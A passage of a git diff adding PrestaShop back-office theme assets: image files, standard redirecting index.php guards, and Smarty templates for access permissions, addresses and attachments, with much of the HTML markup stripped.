0000000..69f70da Binary files /dev/null and b/BO/themes/default/img/bg-tab.png differ diff --git a/BO/themes/default/img/bg-top.png b/BO/themes/default/img/bg-top.png new file mode 100755 index 0000000..a07fbec Binary files /dev/null and b/BO/themes/default/img/bg-top.png differ diff --git a/BO/themes/default/img/bg_loaderSpace.png b/BO/themes/default/img/bg_loaderSpace.png new file mode 100755 index 0000000..f9da304 Binary files /dev/null and b/BO/themes/default/img/bg_loaderSpace.png differ diff --git a/BO/themes/default/img/bullet_orange.png b/BO/themes/default/img/bullet_orange.png new file mode 100755 index 0000000..456774e Binary files /dev/null and b/BO/themes/default/img/bullet_orange.png differ diff --git a/BO/themes/default/img/button-bg.png b/BO/themes/default/img/button-bg.png new file mode 100755 index 0000000..bbde5ed Binary files /dev/null and b/BO/themes/default/img/button-bg.png differ diff --git a/BO/themes/default/img/export-csv.png b/BO/themes/default/img/export-csv.png new file mode 100755 index 0000000..04e0332 Binary files /dev/null and b/BO/themes/default/img/export-csv.png differ diff --git a/BO/themes/default/img/footer-bg.png b/BO/themes/default/img/footer-bg.png new file mode 100755 index 0000000..a72c8ba Binary files /dev/null and b/BO/themes/default/img/footer-bg.png differ diff --git a/BO/themes/default/img/header_module.png b/BO/themes/default/img/header_module.png new file mode 100755 index 0000000..afaaae6 Binary files /dev/null and b/BO/themes/default/img/header_module.png differ diff --git a/BO/themes/default/img/icon-attention.png b/BO/themes/default/img/icon-attention.png new file mode 100755 index 0000000..1c6b8eb Binary files /dev/null and b/BO/themes/default/img/icon-attention.png differ diff --git a/BO/themes/default/img/icon-cancel.png b/BO/themes/default/img/icon-cancel.png new file mode 100755 index 0000000..296415e Binary files /dev/null and b/BO/themes/default/img/icon-cancel.png differ diff --git a/BO/themes/default/img/icon-info.png b/BO/themes/default/img/icon-info.png new file mode 100755 index 0000000..83de654 Binary files /dev/null and b/BO/themes/default/img/icon-info.png differ diff --git a/BO/themes/default/img/icon-multishop.png b/BO/themes/default/img/icon-multishop.png new file mode 100755 index 0000000..b5d4668 Binary files /dev/null and b/BO/themes/default/img/icon-multishop.png differ diff --git a/BO/themes/default/img/icon-search.png b/BO/themes/default/img/icon-search.png new file mode 100755 index 0000000..67b3222 Binary files /dev/null and b/BO/themes/default/img/icon-search.png differ diff --git a/BO/themes/default/img/icon-search2.png b/BO/themes/default/img/icon-search2.png new file mode 100755 index 0000000..6bbe235 Binary files /dev/null and b/BO/themes/default/img/icon-search2.png differ diff --git a/BO/themes/default/img/icon-sprites-title.png b/BO/themes/default/img/icon-sprites-title.png new file mode 100755 index 0000000..20b6049 Binary files /dev/null and b/BO/themes/default/img/icon-sprites-title.png differ diff --git a/BO/themes/default/img/icon-valid-green.png b/BO/themes/default/img/icon-valid-green.png new file mode 100755 index 0000000..743ef89 Binary files /dev/null and b/BO/themes/default/img/icon-valid-green.png differ diff --git a/BO/themes/default/img/index.php b/BO/themes/default/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/themes/default/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/themes/default/img/live_edit.png b/BO/themes/default/img/live_edit.png new file mode 100755 index 0000000..629d8a6 Binary files /dev/null and b/BO/themes/default/img/live_edit.png differ diff --git a/BO/themes/default/img/lock.png b/BO/themes/default/img/lock.png new file mode 100755 index 0000000..ceebba9 Binary files /dev/null and b/BO/themes/default/img/lock.png differ diff --git a/BO/themes/default/img/logout.png b/BO/themes/default/img/logout.png new file mode 100755 index 0000000..9774136 Binary files /dev/null and b/BO/themes/default/img/logout.png differ diff --git a/BO/themes/default/img/module-logout.png b/BO/themes/default/img/module-logout.png new file mode 100755 index 0000000..7a9647d Binary files /dev/null and b/BO/themes/default/img/module-logout.png differ diff --git a/BO/themes/default/img/module-profile.png b/BO/themes/default/img/module-profile.png new file mode 100755 index 0000000..b15ad4b Binary files /dev/null and b/BO/themes/default/img/module-profile.png differ diff --git a/BO/themes/default/img/modules_list_button.png b/BO/themes/default/img/modules_list_button.png new file mode 100755 index 0000000..568d3b0 Binary files /dev/null and b/BO/themes/default/img/modules_list_button.png differ diff --git a/BO/themes/default/img/modules_view_layout_sidebar.png b/BO/themes/default/img/modules_view_layout_sidebar.png new file mode 100755 index 0000000..c333e7b Binary files /dev/null and b/BO/themes/default/img/modules_view_layout_sidebar.png differ diff --git a/BO/themes/default/img/modules_view_layout_sidebar_grey.png b/BO/themes/default/img/modules_view_layout_sidebar_grey.png new file mode 100755 index 0000000..4d8964a Binary files /dev/null and b/BO/themes/default/img/modules_view_layout_sidebar_grey.png differ diff --git a/BO/themes/default/img/modules_view_table_select_row.png b/BO/themes/default/img/modules_view_table_select_row.png new file mode 100755 index 0000000..8a7c043 Binary files /dev/null and b/BO/themes/default/img/modules_view_table_select_row.png differ diff --git a/BO/themes/default/img/modules_view_table_select_row_grey.png b/BO/themes/default/img/modules_view_table_select_row_grey.png new file mode 100755 index 0000000..92f449e Binary files /dev/null and b/BO/themes/default/img/modules_view_table_select_row_grey.png differ diff --git a/BO/themes/default/img/news-bg.gif b/BO/themes/default/img/news-bg.gif new file mode 100755 index 0000000..9adbd05 Binary files /dev/null and b/BO/themes/default/img/news-bg.gif differ diff --git a/BO/themes/default/img/notif_customer.png b/BO/themes/default/img/notif_customer.png new file mode 100755 index 0000000..3d7777f Binary files /dev/null and b/BO/themes/default/img/notif_customer.png differ diff --git a/BO/themes/default/img/notif_message.png b/BO/themes/default/img/notif_message.png new file mode 100755 index 0000000..2a65024 Binary files /dev/null and b/BO/themes/default/img/notif_message.png differ diff --git a/BO/themes/default/img/notif_order.png b/BO/themes/default/img/notif_order.png new file mode 100755 index 0000000..34bf7a2 Binary files /dev/null and b/BO/themes/default/img/notif_order.png differ diff --git a/BO/themes/default/img/play.png b/BO/themes/default/img/play.png new file mode 100755 index 0000000..8f7dbdf Binary files /dev/null and b/BO/themes/default/img/play.png differ diff --git a/BO/themes/default/img/process-icon-addProduct.png b/BO/themes/default/img/process-icon-addProduct.png new file mode 100755 index 0000000..91eb8f8 Binary files /dev/null and b/BO/themes/default/img/process-icon-addProduct.png differ diff --git a/BO/themes/default/img/process-icon-back.png b/BO/themes/default/img/process-icon-back.png new file mode 100755 index 0000000..c038436 Binary files /dev/null and b/BO/themes/default/img/process-icon-back.png differ diff --git a/BO/themes/default/img/process-icon-cancel.png b/BO/themes/default/img/process-icon-cancel.png new file mode 100755 index 0000000..1b20ae0 Binary files /dev/null and b/BO/themes/default/img/process-icon-cancel.png differ diff --git a/BO/themes/default/img/process-icon-delete.png b/BO/themes/default/img/process-icon-delete.png new file mode 100755 index 0000000..372f493 Binary files /dev/null and b/BO/themes/default/img/process-icon-delete.png differ diff --git a/BO/themes/default/img/process-icon-duplicate.png b/BO/themes/default/img/process-icon-duplicate.png new file mode 100755 index 0000000..c975471 Binary files /dev/null and b/BO/themes/default/img/process-icon-duplicate.png differ diff --git a/BO/themes/default/img/process-icon-edit.png b/BO/themes/default/img/process-icon-edit.png new file mode 100755 index 0000000..ab393a9 Binary files /dev/null and b/BO/themes/default/img/process-icon-edit.png differ diff --git a/BO/themes/default/img/process-icon-export-csv-details.png b/BO/themes/default/img/process-icon-export-csv-details.png new file mode 100755 index 0000000..64a18fa Binary files /dev/null and b/BO/themes/default/img/process-icon-export-csv-details.png differ diff --git a/BO/themes/default/img/process-icon-export-csv.png b/BO/themes/default/img/process-icon-export-csv.png new file mode 100755 index 0000000..4ce1583 Binary files /dev/null and b/BO/themes/default/img/process-icon-export-csv.png differ diff --git a/BO/themes/default/img/process-icon-help-new.png b/BO/themes/default/img/process-icon-help-new.png new file mode 100755 index 0000000..d17f18f Binary files /dev/null and b/BO/themes/default/img/process-icon-help-new.png differ diff --git a/BO/themes/default/img/process-icon-help.png b/BO/themes/default/img/process-icon-help.png new file mode 100755 index 0000000..c003c0d Binary files /dev/null and b/BO/themes/default/img/process-icon-help.png differ diff --git a/BO/themes/default/img/process-icon-import.png b/BO/themes/default/img/process-icon-import.png new file mode 100755 index 0000000..4ce1583 Binary files /dev/null and b/BO/themes/default/img/process-icon-import.png differ diff --git a/BO/themes/default/img/process-icon-modules-list.png b/BO/themes/default/img/process-icon-modules-list.png new file mode 100755 index 0000000..5c8af7d Binary files /dev/null and b/BO/themes/default/img/process-icon-modules-list.png differ diff --git a/BO/themes/default/img/process-icon-new-module-addon.png b/BO/themes/default/img/process-icon-new-module-addon.png new file mode 100755 index 0000000..7d67b7e Binary files /dev/null and b/BO/themes/default/img/process-icon-new-module-addon.png differ diff --git a/BO/themes/default/img/process-icon-new-module.png b/BO/themes/default/img/process-icon-new-module.png new file mode 100755 index 0000000..2cecc59 Binary files /dev/null and b/BO/themes/default/img/process-icon-new-module.png differ diff --git a/BO/themes/default/img/process-icon-new-url.png b/BO/themes/default/img/process-icon-new-url.png new file mode 100755 index 0000000..391234f Binary files /dev/null and b/BO/themes/default/img/process-icon-new-url.png differ diff --git a/BO/themes/default/img/process-icon-new.png b/BO/themes/default/img/process-icon-new.png new file mode 100755 index 0000000..60a7a29 Binary files /dev/null and b/BO/themes/default/img/process-icon-new.png differ diff --git a/BO/themes/default/img/process-icon-partial-refund.png b/BO/themes/default/img/process-icon-partial-refund.png new file mode 100755 index 0000000..9d9f348 Binary files /dev/null and b/BO/themes/default/img/process-icon-partial-refund.png differ diff --git a/BO/themes/default/img/process-icon-preview.png b/BO/themes/default/img/process-icon-preview.png new file mode 100755 index 0000000..d8a4482 Binary files /dev/null and b/BO/themes/default/img/process-icon-preview.png differ diff --git a/BO/themes/default/img/process-icon-refresh-cache.png b/BO/themes/default/img/process-icon-refresh-cache.png new file mode 100755 index 0000000..bb0751e Binary files /dev/null and b/BO/themes/default/img/process-icon-refresh-cache.png differ diff --git a/BO/themes/default/img/process-icon-refresh-index.png b/BO/themes/default/img/process-icon-refresh-index.png new file mode 100755 index 0000000..fdf20e2 Binary files /dev/null and b/BO/themes/default/img/process-icon-refresh-index.png differ diff --git a/BO/themes/default/img/process-icon-save-and-stay.png b/BO/themes/default/img/process-icon-save-and-stay.png new file mode 100755 index 0000000..05137c8 Binary files /dev/null and b/BO/themes/default/img/process-icon-save-and-stay.png differ diff --git a/BO/themes/default/img/process-icon-save-calendar.png b/BO/themes/default/img/process-icon-save-calendar.png new file mode 100755 index 0000000..85e92bd Binary files /dev/null and b/BO/themes/default/img/process-icon-save-calendar.png differ diff --git a/BO/themes/default/img/process-icon-save.png b/BO/themes/default/img/process-icon-save.png new file mode 100755 index 0000000..7786ac7 Binary files /dev/null and b/BO/themes/default/img/process-icon-save.png differ diff --git a/BO/themes/default/img/process-icon-standard-refund.png b/BO/themes/default/img/process-icon-standard-refund.png new file mode 100755 index 0000000..65d5de7 Binary files /dev/null and b/BO/themes/default/img/process-icon-standard-refund.png differ diff --git a/BO/themes/default/img/process-icon-stats.png b/BO/themes/default/img/process-icon-stats.png new file mode 100755 index 0000000..a66163a Binary files /dev/null and b/BO/themes/default/img/process-icon-stats.png differ diff --git a/BO/themes/default/img/searchbar.png b/BO/themes/default/img/searchbar.png new file mode 100755 index 0000000..26b93ae Binary files /dev/null and b/BO/themes/default/img/searchbar.png differ diff --git a/BO/themes/default/img/searchbutton.png b/BO/themes/default/img/searchbutton.png new file mode 100755 index 0000000..31327bf Binary files /dev/null and b/BO/themes/default/img/searchbutton.png differ diff --git a/BO/themes/default/img/separator.png b/BO/themes/default/img/separator.png new file mode 100755 index 0000000..06f12b9 Binary files /dev/null and b/BO/themes/default/img/separator.png differ diff --git a/BO/themes/default/img/separator_subnav.png b/BO/themes/default/img/separator_subnav.png new file mode 100755 index 0000000..0d2a18a Binary files /dev/null and b/BO/themes/default/img/separator_subnav.png differ diff --git a/BO/themes/default/img/tab_right.gif b/BO/themes/default/img/tab_right.gif new file mode 100755 index 0000000..82740ef Binary files /dev/null and b/BO/themes/default/img/tab_right.gif differ diff --git a/BO/themes/default/img/thead.png b/BO/themes/default/img/thead.png new file mode 100755 index 0000000..afaaae6 Binary files /dev/null and b/BO/themes/default/img/thead.png differ diff --git a/BO/themes/default/img/tree-multishop-groups.png b/BO/themes/default/img/tree-multishop-groups.png new file mode 100755 index 0000000..f1ed9ab Binary files /dev/null and b/BO/themes/default/img/tree-multishop-groups.png differ diff --git a/BO/themes/default/img/tree-multishop-root.png b/BO/themes/default/img/tree-multishop-root.png new file mode 100755 index 0000000..477e7da Binary files /dev/null and b/BO/themes/default/img/tree-multishop-root.png differ diff --git a/BO/themes/default/img/tree-multishop-shop.png b/BO/themes/default/img/tree-multishop-shop.png new file mode 100755 index 0000000..55c7680 Binary files /dev/null and b/BO/themes/default/img/tree-multishop-shop.png differ diff --git a/BO/themes/default/img/tree-multishop-url.png b/BO/themes/default/img/tree-multishop-url.png new file mode 100755 index 0000000..c4f00cb Binary files /dev/null and b/BO/themes/default/img/tree-multishop-url.png differ diff --git a/BO/themes/default/index.php b/BO/themes/default/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/themes/default/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/content.tpl b/BO/themes/default/template/content.tpl new file mode 100755 index 0000000..dc873ec --- /dev/null +++ b/BO/themes/default/template/content.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($content)} + {$content} +{/if} diff --git a/BO/themes/default/template/controllers/access/helpers/form/form.tpl b/BO/themes/default/template/controllers/access/helpers/form/form.tpl new file mode 100755 index 0000000..ef97458 --- /dev/null +++ b/BO/themes/default/template/controllers/access/helpers/form/form.tpl @@ -0,0 +1,418 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+{/if} + +
+ +
+ +
+ {if $form_id} + + {/if} + + {assign var=tabsize value=count($tabs)} + {foreach $tabs AS $tab} + {if $tab.id_tab > $tabsize} + {assign var=tabsize value=$tab.id_tab} + {/if} + {/foreach} + + {foreach $profiles as $profile} + +
+ + {if $profile.id_profile != $admin_profile} + + + + + + + + + + {if !count($tabs)} + + + + {else} + {foreach $tabs AS $tab} + + {assign var=access value=$accesses[$profile.id_profile]} + + {if !$tab.id_parent OR $tab.id_parent == -1} + {assign var=is_child value=false} + {assign var=result_accesses value=0} + + {if $is_child} » {/if}{$tab.name} + {foreach $perms as $perm} + {if $access_edit == 1} + + {else} + + {/if} + {assign var=result_accesses value=$result_accesses + $access[$tab.id_tab][$perm]} + {/foreach} + + + + {foreach $tabs AS $child} + {if $child.id_parent === $tab.id_tab} + {if isset($access[$child.id_tab])} + {assign var=is_child value=true} + {assign var=result_accesses value=0} + + {if $is_child} » {/if}{$child.name} + {foreach $perms as $perm} + {if $access_edit == 1} + + {else} + + {/if} + {assign var=result_accesses value=$result_accesses + $access[$child.id_tab][$perm]} + {/foreach} + + + {/if} + {/if} + {/foreach} + + {/if} + + {/foreach} + {/if} +
+ {l s='Menus'} + + + {l s='View'} + + + {l s='Add'} + + + {l s='Edit'} + + + {l s='Delete'} + + + {l s='All'} +
{l s='No menu'}
+ + + + + +
+ + + + + +
+ + + + + + + + + {if !count($modules)} + + + + {else} + {foreach $modules[$profile.id_profile] AS $module} + + + + + + {/foreach} + {/if} +
{l s='Modules'} + {l s='View'} + + {l s='Configure'}
{l s='No modules are installed'}
» {$module.name} + + + +
+ +
 
+ + {else} + {l s='Administrator permissions cannot be modified.'} + {/if} + +
+ + {/foreach} +
diff --git a/BO/themes/default/template/controllers/access/helpers/form/index.php b/BO/themes/default/template/controllers/access/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/access/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/access/helpers/index.php b/BO/themes/default/template/controllers/access/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/access/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/access/index.php b/BO/themes/default/template/controllers/access/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/access/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/addons_catalog/content.tpl b/BO/themes/default/template/controllers/addons_catalog/content.tpl new file mode 100755 index 0000000..7185681 --- /dev/null +++ b/BO/themes/default/template/controllers/addons_catalog/content.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
 
+ diff --git a/BO/themes/default/template/controllers/addons_catalog/index.php b/BO/themes/default/template/controllers/addons_catalog/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/addons_catalog/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/addresses/helpers/form/form.tpl b/BO/themes/default/template/controllers/addresses/helpers/form/form.tpl new file mode 100755 index 0000000..ef3c911 --- /dev/null +++ b/BO/themes/default/template/controllers/addresses/helpers/form/form.tpl @@ -0,0 +1,98 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.name == 'vat_number'} + {if $vat == 'is_applicable'} +
+ {else if $vat == 'management'} +
+ {else} +
+ {/if} + {/if} + + {if $input.type == 'text_customer' && !isset($customer)} + + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="field"} + {if $input.type == 'text_customer'} + {if isset($customer)} + + + + {else} + +
+ * +
+ {/if} + {else} + {$smarty.block.parent} + {/if} + {if $input.name == 'vat_number'} +
+ {/if} +{/block} diff --git a/BO/themes/default/template/controllers/addresses/helpers/form/index.php b/BO/themes/default/template/controllers/addresses/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/addresses/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/addresses/helpers/index.php b/BO/themes/default/template/controllers/addresses/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/addresses/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/addresses/helpers/list/index.php b/BO/themes/default/template/controllers/addresses/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/addresses/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/addresses/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/addresses/helpers/list/list_header.tpl new file mode 100755 index 0000000..793bfd2 --- /dev/null +++ b/BO/themes/default/template/controllers/addresses/helpers/list/list_header.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name='override_header'} +{if $submit_form_ajax} + +{/if} +{/block} diff --git a/BO/themes/default/template/controllers/addresses/index.php b/BO/themes/default/template/controllers/addresses/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/addresses/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attachments/index.php b/BO/themes/default/template/controllers/attachments/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/attachments/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attachments/list_action_delete.tpl b/BO/themes/default/template/controllers/attachments/list_action_delete.tpl new file mode 100755 index 0000000..a2ea4b2 --- /dev/null +++ b/BO/themes/default/template/controllers/attachments/list_action_delete.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {$action} + + diff --git a/BO/themes/default/template/controllers/attribute_generator/content.tpl b/BO/themes/default/template/controllers/attribute_generator/content.tpl new file mode 100755 index 0000000..5fc6446 --- /dev/null +++ b/BO/themes/default/template/controllers/attribute_generator/content.tpl @@ -0,0 +1,121 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. 